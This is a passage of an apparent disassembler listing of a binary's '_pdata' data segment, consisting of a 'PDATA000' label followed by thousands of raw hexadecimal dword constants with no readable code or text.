type: Pure data ; Segment permissions: Read/Write _pdata segment para public 'DATA' use32 assume cs:_pdata ;org 50D000h aPdata000_0 db 'PDATA000',0 db 2 dup(0), 0F0h dd 0FFD70003h, 0DA780001h, 5C7FBDECh, 38F66554h, 32E6677Eh dd 0C664605Ch, 0A2C2C542h, 0B545FB62h, 0A38944E4h, 9A20E685h dd 9C1225D8h, 8956A84Ch, 3AB5FB66h, 3806DAE3h, 0B9728C3Ah dd 32DDB35Eh, 7D87EDDDh, 76DAB6D2h, 3F57F2B3h, 0C05C41B4h dd 0B4577F32h, 0F56B515Ah, 0A0A290D0h, 0CFDC8A0Ch, 83B9E739h dd 0FDF76A3Fh, 0FDFFBEF9h, 0CFB94BC6h, 0E73CF38Fh, 0E79CE73Ch dd 0EE79E73Ch, 77052E79h, 822C152Dh, 5FF08820h, 0A36105D7h dd 85727FC0h, 61C7F9FFh, 8BE48412h, 0D6164DDFh, 0C97C7C26h dd 8FA4D346h, 0E2B3B92Fh, 8FE9D981h, 0FEE47ACEh, 943EF759h dd 1F7B9BFEh, 5F11F87Eh, 0D3337DFAh, 4E1FF967h, 0F4E1E07Fh dd 0A517B771h, 8CC8F43Fh, 180DD799h, 0F4619890h, 63E6F4D1h dd 1AEE0D7Fh, 0FFFB15D2h, 0AEB4D1C5h, 0DBA33C00h, 81AAEC2Fh dd 687DB0A7h, 0B6787CD7h, 0B5D61CEFh, 1BE79E88h, 5AEB4F9h dd 0A77AFCF0h, 0DB51A5D8h, 0EE1F5DC1h, 9F5D21Eh, 0BE8D6BE4h dd 43FF08FEh, 2E08C39Dh, 0F5D699D4h, 7DC73C32h, 95F2903Ah dd 0F3D3E71Dh, 537E078Eh, 31B1B081h, 98416EC9h, 8E138A64h dd 8EEEDFCDh, 0C90AB595h, 0AC992497h, 0CE433090h, 0BFFB6544h dd 1203B484h, 562661Dh, 8F9C1DA5h, 29FA7082h, 1C3912ECh dd 0D73998FCh, 0BFA3BC8Ch, 0C1811F1Ch, 785EE116h, 0B309F36h dd 1EF0B007h, 10C8A851h, 54B3FA7Eh, 0FBAF2A14h, 0B9CE107Fh dd 1CA7403Fh, 0AFAB9FF7h, 0EB9CCDF3h, 779FE783h, 356AE31Bh dd 0FB17D3F7h, 0AEAA0749h, 5EE3359Bh, 0F5FA101Fh, 0B3D8C6E5h dd 0FFD079FAh, 7B93BA03h, 5613071Dh, 4AFC08DEh, 47BB0D07h dd 0E1B3CFE0h, 9ACDD7C2h, 9037EB3Dh, 98C2B1A6h, 0E580BFA9h dd 9ACDFDA7h, 23E0F9h, 79CD9A58h, 0E6BA0A40h, 0FF637027h dd 0E5F99C17h, 5F9F97E7h, 0F9F97E7Eh, 9F97E7E5h, 0F97E7E5Fh dd 97E7E5F9h, 7E7E5F9Fh, 0C5FFF9F9h, 0E294D14Fh, 0E187B512h dd 69DD4AAEh, 32C1DF5Fh, 0BB0B548Dh, 363148C4h, 0DFF55204h dd 659D4949h, 3EBEDBF0h, 730C749Ch, 0A7D3A58Dh, 47AB1435h dd 7E94062Ah, 646FD265h, 0AE540297h, 0C23BCF73h, 0BAE2C7D7h dd 0B8E3BC8Fh, 716F9A02h, 0EAAC51EEh, 0CEE3EE91h, 0ADF5A53Dh dd 8691F752h, 0A17B6A29h, 0A88A96EAh, 7A8578BEh, 4FBBA4A4h dd 1ED4DB75h, 4A6573F5h, 48CC0AEFh, 0DD15D1EAh, 0E2851ABAh dd 0FA37F615h, 0DFDA4FBAh, 0F73AF7F0h, 0F770DFD8h, 0A0CA9A5Ah dd 5D80C46Bh, 4EC6103Fh, 0DDA58D2Ch, 5BA9A647h, 4916DB6h dd 3B7E7DE8h, 8A8BD16Eh, 0A090B44Bh, 925F8FC3h, 0A92822D9h dd 20A0690h, 2CDDB05Bh, 6A00807Ch, 69540947h, 0C9B02D0Bh dd 5741F595h, 0EA1D9A76h, 65E05B74h, 0C109400Bh, 687C4597h dd 0DC0AE679h, 0B9057B04h, 0DD88B95Ch, 2F036D01h, 1C57719Bh dd 0DA119ADCh, 41A25F6Fh, 4473ABD2h, 323B3225h, 363504D0h dd 0A727BA6Fh, 949556C0h, 0CBDB6059h, 426D3382h, 815572C4h dd 0E5664Dh, 0C21CF75Dh, 0FC13216Ah, 40A1D0AEh, 8481ADE6h dd 2684801Bh, 0B907D4B7h, 55C756E0h, 0BA76A97Eh, 4B9A95AEh dd 0CB0008D8h, 6E5F00B2h, 461A58F5h, 3F954123h, 0B3BB1094h dd 0C1352216h, 0B1E09B2Ah, 1A1B313Fh, 0A5658DAAh, 0A835B6D3h dd 97C432E3h, 8E2DAB6Ah, 9D2E6286h, 0DC30CC6Ch, 3D727BB3h dd 7A88B82Bh, 0A88E88B8h, 5814085Bh, 37F6A5Fh, 0EEE8AE1Ah dd 0C94B5FF9h, 61741190h, 445FA908h, 6A328450h, 10CCEF50h dd 0D4093C81h, 2EF6A8EEh, 4230224Ah, 0EAE45DF0h, 9D417D9Eh dd 0F749E814h, 0E726D527h, 0FBA44605h, 7448DCA5h, 0B932058Eh dd 46D42F91h, 45B99EAFh, 0E13D83BEh, 1B320930h, 6D0459C6h dd 0CCDEF12Eh, 9A2E6286h, 0C512A9E8h, 305248ACh, 9B89019Ah dd 74716622h, 0B22F35ADh, 41B4ACBFh, 0AC8865F7h, 0E0B343EAh dd 30E171C1h, 0B34B240Ah, 85094EEAh, 3F9B0295h, 1A9A6BCEh dd 5629CF0Ah, 6B4038A7h, 8E0A7714h, 0BECDBA6Dh, 0EB990EBEh dd 5DC79DD4h, 0DEB3B30Dh, 8E5BBE43h, 132B3AB8h, 564EBBC6h dd 664F339Ah, 1A4DD676h, 693E1E6Eh, 260B39A4h, 0E6DA1485h dd 0C7077B8Fh, 0DB72EB93h, 0BD2ED66h, 41EBFC52h, 6711D318h dd 3A0D3DB0h, 4A4B2185h, 2F9A8741h, 6ABD052Ah, 0DAE6A4BEh dd 0B52E8294h, 91B8A1C0h, 0E66DF58Bh, 0F4835FF9h, 0A556096Fh dd 56AD9A08h, 2FB76829h, 0B99105A9h, 5EC1EDEAh, 70528C9Ch dd 326824A6h, 14CA6734h, 91DB935Bh, 29E7A58Eh, 7FCE0E53h dd 0B0BF1A48h, 0A8F55EF9h, 50FEA27Ah, 5BDFC59Ch, 0A968BDFFh dd 0AB7670EAh, 84E59255h, 3B2DBB3h, 5543DCE4h, 0E2EAAA51h dd 0F5503D55h, 0F0E05EA9h, 2024566Fh, 0C3047141h, 5537A022h dd 52188F03h, 29507059h, 0EDDCBA88h, 2A4416B3h, 0E7B3F55Dh dd 0D0EA916h, 52EC07E9h, 1B874DFAh, 191884D5h, 0F5A3D427h dd 552CE387h, 44EFFAD1h, 0D9CBBF8Bh, 4AF4C2A7h, 993CEC1Bh dd 86D513B9h, 0FFEB7AEAh, 77A65A2Dh, 696A4F38h, 0F393CEC9h dd 0CCE6911Bh, 0E2BF00CFh, 149BFC97h, 71209207h, 2B2A8412h dd 0BC819A68h, 0E9595A6Eh, 8748CE36h, 562A453Ah, 0D4B7543Fh dd 0CF5A9D7Fh, 929FDD24h, 0ABD6ACD4h, 3BF7447h, 9ADF5998h dd 0A087F5Ah, 6A8D496Dh, 395B033h, 0EE6B3525h, 0D299590Eh dd 0F622301h, 40F291F5h, 0A0C3DE7Fh, 40D31219h, 6643D9B0h dd 3DEB180Ch, 4E00B32Ah, 88779377h, 2C012CCh, 8AF3CF78h dd 658DDB32h, 0C9E7BC03h, 0DE8218ECh, 0CFE1CD74h, 60BC83BCh dd 0E4E23656h, 8DEB9ADBh, 9900DC02h, 0C93840CDh, 8FB3271Bh dd 6BD03531h, 0D8D3D991h, 0C7070FE2h, 2F7EF14Eh, 0F330CBB3h dd 2FBCF6FCh, 2ED782BCh, 7662BFB3h, 8CF61C6h, 8B320FEFh dd 79C6BEA7h, 9956BD93h, 0AB7B6195h, 5997CF7h, 32F14F79h dd 32008DBBh, 0E9DCBFB2h, 7BC1A87Dh, 2BC43BC2h, 760EF901h dd 0D0100EC8h, 0B33C2379h, 1FEEBDFFh, 64BB7AD7h, 76160EF6h dd 9A0E5765h, 445796FBh, 0D058CD5Ch, 0F895B323h, 72A03ECh dd 1DAD6CCBh, 0FECFCC7Bh, 4BE4FAFEh, 5E09BC1Bh, 6367F433h dd 138846FFh, 0CF839B32h, 63ACC414h, 0C3E30A2Ah, 0ECC98027h dd 6095C403h, 13793229h, 0F66483BDh, 41F39DA5h, 0C22E5997h dd 0DB85808h, 7FED8661h, 26DBD7AFh, 38B0ABB3h, 60D69B11h dd 1A881DAAh, 0A627332Ah, 0D8F7654Fh, 838152BEh, 8352E980h dd 0BE4E3FA2h, 31EF53FAh, 864D1D99h, 686B1E3Eh, 2E3DE418h dd 49936FB3h, 4903260Ch, 488A323Ch, 25900EFAh, 2086B0D3h dd 2648BFCBh, 0D79DB26Ah, 1A1F8EFh, 2C34AC8Ah, 0A0F3921Bh dd 0A050F1F0h, 32CC986Eh, 664461B1h, 29E1B14Bh, 5B3B1DAFh dd 0BBE6D885h, 120C3A59h, 75112D84h, 9F6424DEh, 0CA4E7D42h dd 787D2E7Eh, 0EF57593Ch, 0E329ECA0h, 88E30EDEh, 0B1264ADEh dd 53ECCB27h, 0C101454Ch, 0C12B3285h, 0B91DEECEh, 0CE841E2h dd 0AAC34874h, 58BAA82Eh, 0B992A366h, 81EE81A8h, 142DFC58h dd 5FB3245Fh, 766418D1h, 0CD3C006Ah, 64C2C7D8h, 0C8B42Eh dd 9990E0C2h, 0CBCD8F8Fh, 76161900h, 0C9A6AE80h, 0C40187ECh dd 159954F5h, 1A31325h, 0E34685E3h, 9DD607Fh, 0B26402A0h dd 17F10065h, 3ECC0298h, 98B88031h, 0A88BB328h, 0A3ECD4D7h dd 0DF9A1D6Fh, 59A5EDE0h, 3DAC7BF1h, 1530F509h, 49B101D4h dd 6A2985D1h, 0BEA63EFDh, 0F8EDD996h, 5A9D5114h, 0D971F3A8h dd 5E97A4BBh, 78032F5h dd 0ED621736h, 273F9021h, 82DEA010h, 75D6F654h, 0E9A01DA5h dd 697B3249h, 583A900h, 80319147h, 54988E0Fh, 2F301587h dd 0E9E0DB0Eh, 0A44EB940h, 8FECF4EAh, 0DD5CAF46h, 4F108A00h dd 61BD72h, 5EEFFA69h, 0BD0D7EB3h, 0C4BED300h, 723E706h dd 0CBAA2286h, 13B7BB1Fh, 27140BC4h, 3B346422h, 297378F1h dd 5BF500A0h, 0B072E36Bh, 6DDBF0A1h, 0CE1B26C4h, 68D8BFEBh dd 715B2094h, 0D0024D00h, 7C04EDB9h, 0AEC77643h, 78354E3Bh dd 790C28Fh, 0C47BF4D2h, 1D01BC46h, 8FD4C169h, 0CF0D1B32h dd 1E97E1ECh, 237EF529h, 4C2C2CB3h, 0C778E542h, 0D60BEA46h dd 1781BE61h, 1B40ED26h, 0FB3800C9h, 10D94C67h, 9BC7DE7h dd 6D0B0C38h, 4922235Ch, 0D0C363D0h, 0FD5C2DD7h, 9F38D8C7h dd 804B41DAh, 71263FC7h, 93E27FA8h, 9E7DEE71h, 66572084h dd 5FCFADFh, 93DE0D35h, 49D5D124h, 0BE301AA4h, 65A76CEBh dd 0D11246FBh, 0DAA4FD0Fh, 500D4C8h, 480CBCADh, 615C6D15h dd 830008Eh, 7212016Fh, 0AFB2FE8h, 414FAA71h, 0BF0841A8h dd 0A69B8926h, 0D80D36DFh, 2D8767C7h, 61E6D57Bh, 6D80D007h dd 0D923A841h, 0B8DEA6E3h, 0B4C3901Ah, 0D9BFB9BAh, 0E8A44963h dd 0B9ECC817h, 67E21224h, 81F7DA2Bh, 87514110h, 1D167126h dd 44A1D991h, 9C8F1232h, 0D8C3D7B4h, 1414F800h, 0FEB33F64h dd 16D0359Bh, 224DEF40h, 57B10161h, 0C6AC0A61h, 69C489FBh dd 0EF3700D0h, 0E2C2FB26h, 7D03EF37h, 0F1C5DE03h, 0E80CD9A1h dd 0A1656043h, 5B0D78Fh, 2241690Ch, 936A0389h, 43FAC892h dd 0DC89BD8Bh, 0E175FD26h, 0C1F3175Bh, 0EBBD977Dh, 329923DAh dd 949133BBh, 0DE79403h, 1A89814Ch, 7D9B189Bh, 0EA9121CFh dd 0DED5F742h, 49B1837Fh, 8494EB24h, 9125BFC3h, 1A8CCF0Bh dd 9BC0DABFh, 0D84898h, 63129FEFh, 7B0D3EEAh, 0D564B858h dd 61753077h, 0C9129370h, 1F4702F8h, 39BCE44Dh, 50FCB5C5h dd 0A40E2902h, 6F9042AEh, 9250FC61h, 0B37D17Dh, 40F143A6h dd 9F0496B0h, 0E1739D95h, 0F9ABF7h, 6407794Eh, 0ABF7FBAFh dd 2004DEEDh, 29F9B1Dh, 84813917h, 24764201h, 8741FE92h dd 4A06582Dh, 0F0EC5BFCh, 2DB7B7C4h, 59941EF6h, 0AF370269h dd 0A466B3E5h, 0D92CEEF1h, 4F092DEAh, 493E68A1h, 64C071A0h dd 0C9B0E7Bh, 8AA4765Ch, 924435Bh, 0D55605C8h, 6657AA60h dd 55881243h, 959D030h, 0B48F485Ch, 0A01F390Fh, 18963141h dd 3C129D30h, 55ACD0E3h, 0C6044962h, 929DF40Fh, 59183E88h dd 2EB70279h, 87BC491Fh, 0B4D7CBF1h, 0F6653B7Ah, 44C449Eh dd 6213836Ch, 4C8F74Bh, 305E3D6Eh, 7C0DADB1h, 0FBF9A0A9h dd 0ECA31486h, 71D4C07h, 5618801Eh, 0A0103448h, 0EB109CC5h dd 5FA943EBh, 6292EF27h, 29875A52h, 954F9940h, 0B707D969h dd 363F93Ch, 0C6448528h, 48919E9h, 3A321E7Fh, 0D9BDD30Fh dd 7CE4479Bh, 0FE84A302h, 0B400B1B2h, 0B3148063h, 0CE24CBAEh dd 5BF3BBDAh, 0A04D00B7h, 6254C57Ch, 23FC7ECBh, 0D99C37D7h dd 0D085FB2Ch, 0F6640FB2h, 994D3C59h, 2D87DFE8h, 7CB0C681h dd 2705877Ch, 0AC6D1FB2h, 1BE879Bh, 269E2308h, 4872601Ah dd 14BC627Ch, 8CDEF34Fh, 0A7886CE4h, 0B3470D15h, 6C9E9218h dd 77B7C0F1h, 218E3878h, 5FE3CED9h, 0F80D40CEh, 3BAC9E34h dd 0A404E048h, 0E978BFB2h, 93DE694Fh, 8E2C7E30h, 9CD65764h dd 0E4CB9B7Ch, 4C06A201h, 670F3E13h, 0EE39DD1Fh, 0C8A8DC4Fh dd 715B1F1h, 3EC5AB7Ah, 0F27D17AAh, 183AC427h, 9ADAD333h dd 84C3B15Ah, 9A54D8F8h, 0D72DCF11h, 8ECFF908h, 0E854D006h dd 1F14E49Eh, 0E0112E4Fh, 0F40F947Ah, 5B7D8FBCh, 0B083B0C1h dd 4D5CADDAh, 2FB3E2B7h, 7FB2EE7Bh, 66B5F354h, 0C5EB95AFh dd 7EAE83B5h, 907BC1A4h, 80BE0ACh, 3C20DD4h, 0A636FC93h dd 0FE3F660Fh, 0B93BC7F0h, 563FFCD9h, 0B74C3B12h, 7D95202Fh dd 1C972B8h, 0BFE83B6Fh, 8D23A635h, 0FC18C356h, 0C1A511EBh dd 6C6CC170h, 0F4E6358Dh, 45F2B3ECh, 0C0978737h, 0E385B702h dd 0DEE67013h, 0A60B698Ah, 0FDE75Eh, 0BF43A0FDh, 177572B3h dd 40C964ADh, 2986574h, 0A38D1CB6h, 2F81EB25h, 1A0B3F46h dd 2DF0ED0Fh, 5808CC34h, 0D8C6BCBCh, 0BBF99AEEh, 104006BEh dd 7C441DE7h, 9B8E2AFAh, 0CCF00DA2h, 84BE370Eh, 0E3E60C93h dd 4E5F2B00h, 0ABB16257h, 0EC3EF6F7h, 6B084FFEh, 143B3D47h dd 29D2ADC7h, 0E61C50EFh, 1BA2B19Fh, 771C66A6h, 0DACBEE0Ch dd 0DBC1A53Dh, 8D2C0C4Eh, 0EC044323h, 9A80DEFDh, 19534714h dd 0E24F891Ch, 0C48C1AB8h, 683077E7h, 8D9371B0h, 0A870D3AEh dd 3EB8E36Bh, 1FF79977h, 0C87F006Bh, 54401DEEh, 0FC47155Fh dd 11FC1102h, 23DCBD53h, 3F0F9F3Ah, 9B35DF77h, 0CC082301h dd 81F2471Ch, 71C7468Eh, 0F9FCC206h, 72428458h, 0C1C4AF9Bh dd 85D7F8EDh, 0E3E6F0EFh, 0D3DAFB31h, 41D81736h, 8E223268h dd 21CFB1BBh, 0C0E02E3Ch, 3E4537CFh, 167B41A7h, 0F77F318Ah dd 0C3CB916Bh, 81A19227h, 54C29D71h, 6C18F027h, 1935355Ch dd 726D3D91h, 5E0D73FEh, 48993C46h, 0B0B4402Dh, 6915280Bh dd 4D3F41DAh, 7F496C62h, 6D952442h, 7309E55Eh, 0E4472C47h dd 53EFFD33h, 3621A8AFh, 2BF0FF80h, 647ECB28h, 0DC3194D1h dd 4DBC29E4h, 0D3E9C1CEh, 0BBA0F740h, 3002C38h, 788585FCh dd 1B94A405h, 7FB968BDh, 344B009Bh, 595F3539h, 3D91CCB0h dd 4DB85FBh, 270026DCh, 504DC388h, 0B4359D9Eh, 0E7AA3171h dd 35B12D9Fh, 0CF1618E3h, 0C21F4A08h, 0F83D008Ch, 0F805C2CEh dd 808F3E18h, 539F04E5h, 835670B3h, 471F736Bh, 823AF30Dh dd 0B638C1A9h, 0BE642DB7h, 0B33FD540h, 0DE250190h, 6770B54Fh dd 19C2CB28h, 6F5BAC4Ch, 637FD2E1h, 18A6F386h, 6216ECEBh dd 17BD2817h, 3857B053h, 0B4AD2665h, 9BFC9D18h, 2478B79Bh dd 0F9B1AEF4h, 0CC089h, 0CDFBCD1Eh, 87101D76h, 4EA156C5h dd 0A5107C4Fh, 3A85BB75h, 1886DA00h, 8E66BE5Dh, 0B38F399h dd 66E5D9D7h, 81C02732h, 3F5C2C4Bh, 9A0B1BC1h, 68CC3349h dd 93319F8Bh, 0D829839Ah, 8C7BE663h, 3C1A6699h, 308725ACh dd 0F33B3275h, 0A06DB4B2h, 0AF4E2046h, 1608B399h, 0E4CC5BDFh dd 363683ABh, 0C0C9899Bh, 3E66A5D5h, 67832F9Dh, 1CBFF8F6h dd 59B827FEh, 9ABF8630h, 23CA7E63h, 70034E66h, 31A1375Eh dd 73716CFEh, 0DBC1A785h, 827CD503h, 923E6648h, 1111356h dd 9600F0EAh, 73A0F7Ch, 0C4C1FD8Ch, 3C0B7635h, 0B994FFB3h dd 268B88ADh, 0A2B20D5h, 6CF90243h, 0E59EA035h, 0FCDCC07Dh dd 207C9995h, 0C65F2372h, 99B10BD2h, 3D93539Dh, 0B93283EBh dd 31251BC1h, 25689855h, 0D2AD6F23h, 107B244h, 817C406Dh dd 1D7AECDFh, 0F88C3FA6h, 0C26C5315h, 3671376Ch, 0E2E26F5Fh dd 0F58EE5EFh, 4012DE58h, 0FB2008ABh, 6C57C3DBh, 85730AE5h dd 741F8C89h, 0AF899F7Ah, 0CE04C78Bh, 4EC09394h, 13561E98h dd 0E9402839h, 0F2F58823h, 7167F791h, 0C3E70E91h, 362FDD01h dd 0F8FD1F71h, 0ADFEF6AFh, 3AC92B01h, 5FE0879Fh, 843CCFE5h dd 6814AE9Dh, 8C64291Ch, 16106E04h, 122B32F3h, 0B7A0F54Eh dd 5FAE0573h, 0F9DE7B37h, 1F08AF9Ah, 54068409h, 0C340B0E3h dd 41BD404h, 0E0907DD2h, 0CE4F817Eh, 5896815Ch, 53BE852h dd 0D2137ECEh, 0B7C0AEF6h, 340B17E9h, 0AF2684Eh, 19987A1h dd 0C095751Ah, 5393B47Dh dd 286B8F9Fh, 6F6C8156h, 0A7B8E87Ah, 0A2396CCAh, 652199DEh dd 0ECB750EEh, 9477556Dh, 6921FDEEh, 14839E0Bh, 2955A897h dd 62CABD21h, 5A9B2A9h, 792FD536h, 0FDED774Dh, 0EC702D46h dd 89F9043Dh, 3B2F3B99h, 934236AAh, 0E058659Dh, 0BD2C6A48h dd 6FDECB6Ch, 0EF76B6F6h, 948A6CB9h, 0A54E85B4h, 0D638B000h dd 747AA26Ch, 0E36A77EFh, 4A87E65h, 975DEE88h, 87BDA5B9h dd 0D037EF6h, 1008BA11h, 46C06656h, 0AA59DD48h, 50E19DDEh dd 0A14FD51Bh, 0A91949F7h, 0DFC9BF7Bh, 0B24DAADBh, 83BF7BEBh dd 0BD210D46h, 0AF68407Ah, 0B8D49CCFh, 87DD9BFBh, 9677F76Eh dd 286B4E95h, 7ABF43A7h, 44D6DF2Dh, 0B94D53E1h, 82247822h dd 2B952F92h, 8DF85503h, 0A572C63h, 6DA46CDh, 4F783169h dd 26C5B09Ah, 7A9B6210h, 0F2578D44h, 96AC544h, 7AF36CCBh dd 2B26A0B3h, 0AFEED279h, 0E3DFF50Bh, 60828244h, 3DDA1A79h dd 22DD003Ch, 2918EA0Ah, 0D5736F58h, 4A260FBh, 9FC9E3D7h dd 26A9285Ah, 3ED8DC6Dh, 893996D7h, 8211C1E5h, 8FCFCC5Fh dd 0B2DCCD1Ch, 8C1B9A3Bh, 3F93149Ah, 52383CBEh, 9C1A9BF0h dd 0EB86361h, 5AAB88F5h, 80189AACh, 4CBE0B91h, 568AEAD5h dd 3F36A45Fh, 0F5D74DB0h, 809D9679h, 792C9D5Dh, 231C4D05h dd 84911BB3h, 0E6E536ADh, 0E0F117B6h, 0B945BC58h, 0FA0AF659h dd 0F1A5891Ch, 0CA05369Ah, 5AB24F79h, 6804012Ah, 3D3BAF8h dd 8DB98229h, 407FEB59h, 2A5409F0h, 7372A2D5h, 8E06D1B0h dd 9F4BEBA6h, 2BD88ABh, 70C89E85h, 26D24F35h, 1A7DA31Bh dd 0B57F108Bh, 0B3372B28h, 0C2819E3Fh, 0BD6B802Bh, 8071A90Eh dd 0FD48B654h, 686FB5BCh, 0A5F93572h, 680F3612h, 0AF40C8Ch dd 0C1860EEAh, 44F02560h, 0F5306983h, 69F2E027h, 1E01B770h dd 9783F735h, 7C6A3DA8h, 0C99A6E70h, 37B15577h, 3980499Dh dd 6F8F614h, 0CDA937E8h, 0BA7D57ECh, 0CC4476AEh, 4EEAE3CEh dd 0E19505B6h, 0AD2F3D26h, 285F0CB4h, 0B003D378h, 0D6CFB1B2h dd 8006F2h, 10460938h, 4A75BD9Ah, 5851A1D7h, 69B9EAB1h dd 99F8488h, 12AB4116h, 7415AEAFh, 9DE012B0h, 8B912F53h dd 63324ED9h, 0DE7850B6h, 415A2595h, 0C1E32594h, 558A3BBBh dd 9415796Bh, 67F6C286h, 2018D81Bh, 0CFBF66A0h, 0BB09B6FCh dd 0E89CF270h, 572E470Ch, 75619D93h, 0EAB3EBA0h, 0A4827514h dd 0B3EC2A4Dh, 6FA9C86Fh, 269A5875h, 0EFE8984Ch, 0E033800Ch dd 0F0B77733h, 0B1537743h, 4FE69F9Eh, 1D0FAF51h, 2F0325F7h dd 16C40F7Eh, 79901133h, 134E1B4Ah, 45D2815Ah, 3C0553Ch dd 99314990h, 0D5E94E61h, 48036768h, 4AB13DEDh, 9F5A1CE9h dd 69A7E686h, 4873C45Dh, 0D69C95EBh, 0C1EA9ED0h, 4FC96B40h dd 518B2D88h, 0C3D6C44Bh, 0AEB15E4h, 54595AC5h, 7D0E2A07h dd 9B8C5A6Ch, 5E0A7829h, 1FBABD0h, 816B3B67h, 6CAB0441h dd 7FE2FB66h, 21AAF408h, 2AC4FEC3h, 4BF5EF3Ch, 7DABF7C3h dd 0F5AF9B81h, 6835F5C7h, 0D3D026D5h, 0BA362E82h, 0FE5CC70Fh dd 2D598C36h, 5B8D42E8h, 75EBABD3h, 7B6135F1h, 8D9A004Dh dd 8DB4AACAh, 0D92799CAh, 0F047737h, 1A2E4565h, 77F20635h dd 229BF919h, 0ADEEA3C9h, 0FEA331Ch, 0FE5346F3h, 56DF9751h dd 0B0B0BC35h, 0DD43A0AEh, 0AA2F9B5Ah, 4C78ED05h, 40880EDDh dd 38032CFCh, 6EA85853h, 204E662Fh, 1B7B112h, 9E47C6F7h dd 40C3E4C4h, 38FDF0C8h, 2A901982h, 51806BABh, 5ABCA83h dd 4BBB9ABDh, 651E9DAEh, 0A89C36h, 0DFEA0E39h, 81F64536h dd 5408D868h, 521971CBh, 3B58BE5Dh, 0D2055459h, 0B491B533h dd 3AAFAA1Fh, 0E143ABC5h, 9E636B2Ah, 916EEA68h, 0EB18CE41h dd 47888319h, 0D8D06488h, 64E1B674h, 0E297D80Ch, 560EA6DCh dd 271B00EFh, 0C733D626h, 0B0A13198h, 0CC9A90FFh, 9A9007EEh dd 7D444FB0h, 0A095B327h, 9EE7F29Ah, 1B66AA8Fh, 11CC1E53h dd 13F989FCh, 0CEB60026h, 0E186A635h, 2894361h, 14010E55h dd 5AA06609h, 0FE87B365h, 0C1D8D284h, 67FAF8C2h, 0DB0B5D67h dd 42E255C0h, 19DE38E8h, 0BE2BFB6Eh, 1E2F1A75h, 1C30B96Fh dd 0B7E7356Ch, 1DDA833Dh, 7D13CBAEh, 0FC8B2C56h, 0D178E476h dd 27800C7Fh, 0B66E0D7Bh, 1DDD3722h, 55A131B0h, 716326C9h dd 0C546DB09h, 65DE5EB0h, 0E887B314h, 0A6AA0C3Dh, 0F54EC1DAh dd 8F0134EAh, 0A86BE2F5h, 564D5388h, 5E3E8087h, 75748EAFh dd 0DD5C92FBh, 0F9C2E7F6h, 91B97D19h, 8E87260Bh, 0C7520E57h dd 0A30DF64Ah, 6D3B051Eh, 9A3E20DFh, 0B81934D9h, 234D3DF4h dd 100E2318h, 0D815A7C7h, 6B854FECh, 3CDA8EDDh, 0A00D5F11h dd 0D4D3D830h, 0B274E97Fh, 36B14014h, 0DD45232Eh, 91ABB32Eh dd 0B7D83BF3h, 0E049D528h, 0E1C43CB1h, 47A9CCD0h, 1268740h dd 0A4D12918h, 0D168070Ch, 3B27B038h, 2C6FBFB0h, 0FD518346h dd 57EDF00Dh, 742A3161h, 52883D94h, 514657C4h, 2E4273B0h dd 5D1EE958h, 83550247h, 1DD55EB8h, 0C8820755h, 4B495CD4h dd 665B5D91h, 0BF9F2C0Fh, 33CBD743h, 0B2572FAFh, 8CC77372h dd 24104489h, 387D725Fh, 355CA53Bh, 2B96E795h, 0DF631A6h dd 31A331E1h, 418AB89Ah, 8F7A6CDFh, 7B3309A1h, 0B9D56A71h dd 0D39017Bh, 0FD87CA3Bh, 0AF6449FCh, 493B2D8Dh, 0A9F1254h dd 942AB90Bh, 2D0E4D80h, 89E73945h, 7B36DD23h, 84AA0D4Dh dd 8E81225Bh, 93000F50h, 0C8F212DCh, 322C430Ah, 80D99F5Eh dd 55211B59h, 735AA2D7h, 0A5F5446h, 0B6EB97E4h, 26B26AB9h dd 0A23B65CEh, 66BD8E48h, 50239A00h, 44D136CEh, 0D426A3BDh dd 0AB55118Eh, 48A20262h, 19F6761Bh, 438F81BDh, 4765102Ah dd 0DB7AE84Fh, 0AAC1A41Eh, 0C954914Eh, 59955895h, 0DC545937h dd 2BB05AD1h, 70424ED8h, 4A1497B5h, 7C25802Bh, 0C374D19Eh dd 0B8629209h, 4991A687h, 1FC70135h, 2408A28Eh, 3954AEA7h dd 0BEDFD280h, 0F9836C83h, 94C12B94h, 6B99F502h, 7F690DFh dd 960FE52Dh, 0E986FB06h, 0AB834B0Eh, 9352567Eh, 85D3A31Bh dd 1888FACCh, 0CA10E99Ch, 30F43315h, 0B2A235DEh, 3C083CA9h dd 0D16E5DF3h, 0D8943881h, 4461E808h, 0F789B42Eh, 0A7EB329Ah dd 7FB2EAC1h, 2F8F803Ch, 1FF7ED0Fh, 0D0DA3980h, 0A28E7A7Dh dd 0F9D895CDh, 8A0DFA27h, 0C57384Dh, 8317ED7Fh, 0D4D7986Fh dd 7CC5F9CFh, 90FBE35Ch, 4DD36DE1h, 977D0738h, 5BF0019Eh dd 9077F00Eh, 0FB69DA08h, 8060F553h, 94357B22h, 0E602AC22h dd 9832E25Eh, 0BBD00982h, 677A84D7h, 2168605h, 288BA13Bh dd 9E57176h, 1EC4A1E4h, 4B42A920h, 9F974E34h, 73021DE4h dd 44F35D51h, 0B6F02776h, 28FFFF6Dh, 9C4F1F9Dh, 27D7CE96h dd 0F68674B8h, 0A2979110h, 0E7240A40h, 638A651Eh, 67230A23h dd 0F508F560h, 60039C66h, 15A437C9h, 4AD837DAh, 992551B4h dd 3816651Fh, 0E6AECD2Ch, 3C8609D9h, 46945622h, 62B97366h dd 0BAC60E87h, 0AB365606h, 5581AEC9h, 465091D7h, 851BE1A0h dd 4BFF0BADh, 0ED91B1C3h, 0F9C89D04h, 31026384h, 573F1DA5h dd 0CF460F4Ch, 3DB05316h, 127C08ADh, 3AAA52A8h, 82793D8h dd 0F2CE187Eh, 38F47676h, 0DD5DB60Eh, 0F594E09h, 0CDBDB58Eh dd 3B024183h, 670403D9h, 590EDD0Fh, 4DE07EE7h, 7CC25C91h dd 0F8690C27h, 0C4ED5B81h, 104E3522h, 6F5F8064h, 8300BF34h dd 8382B410h, 47F4132Ch, 16D1878Dh, 0B5DF60A9h, 2D499271h dd 8AC28D80h, 4CAC5863h dd 0B549CDEFh, 0F3E0692Fh, 313378B5h, 1E995533h, 1E792FB5h dd 0BAB560CBh, 4CACC13Bh, 76542EFh, 17A53B33h, 0B55F35B4h dd 1560753Bh, 46FEC9F2h, 7C87743Dh, 9F6873BBh, 6BFF3CDAh dd 0DF61C4BCh, 23E58170h, 16598ED7h, 9D4CA9AFh, 24AE55DEh dd 3BAC0C02h, 6A896600h, 0E1A14329h, 0D74ECB50h, 30B8A80Eh dd 0F7960B9Ch, 0E608AD02h, 0F9C41C7h, 70600736h, 0EB1D8EE4h dd 3533046Ah, 77C74DBBh, 0AABB84D3h, 5D5BD6E3h, 5F62D012h dd 593A30FCh, 41D075FBh, 1AE4903Bh, 1E3C5F68h, 